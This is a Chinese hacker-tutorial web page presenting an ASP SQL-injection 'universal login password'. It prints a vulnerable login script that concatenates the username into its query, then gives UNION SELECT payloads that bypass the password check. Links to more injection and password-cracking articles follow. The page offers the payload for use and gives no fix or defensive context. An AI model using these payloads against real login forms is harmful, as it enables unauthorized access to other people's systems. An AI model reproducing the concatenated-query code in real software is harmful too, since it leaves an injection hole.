手机
当前位置:查字典教程网 >网络安全 >黑客教程 >ASP注入万能登陆密码
ASP注入万能登陆密码
摘要:《黑客手册》样刊里面,oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码:程序代码先在数据库中查询用户名对应的密码,然后...

《黑客手册》样刊里面,oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码:

程序代码

<%

username=trim(Request.Form("username"))

password=trim(Request.Form("password"))

sql="Select * FROM admin Where user='"&username&"'"

Set rs=Server.CreateObject("adodb.recordset")

rs.Open sql,conn,1,1

if rs.eof then

checksysUser=FALSE

else

passwd=trim(rs("pwd"))

if passwd=password then

Session("admin")=username

checksysUser=TRUE

else

checksysUser=FALSE

end if

End if

rs.close

conn.close

if checksysUser=true then

Response.Redirect("main.asp")

else

errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"

end if

%>

先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失效。

但如果在上面的程序中,用户名输入 程序代码

' UNION Select 1,1,1 FROM admin Where ''='

,密码输入1,就可以登陆成功,原理很简单,就不多说了。

顺便附上oldjun的语句:

程序代码

' UNION Select 1,1,1 AS pwd FROM admin Where ''='

【ASP注入万能登陆密码】相关文章:

网站脚本注入检测如何绕过限制

Sqlmap注入技巧集锦

注入命令 手工注入命令大全

Informix注入整理

hzhost6.5 华众虚拟主机管理系统最新SQL漏洞(附漏洞补丁)

ARP攻击防范简易教程

SQL脚本注入的不常见方法总结

ASPX搜索型注入

让XP 3389支持多人登陆的方法

九种破解XP登录密码方法

精品推荐
分类导航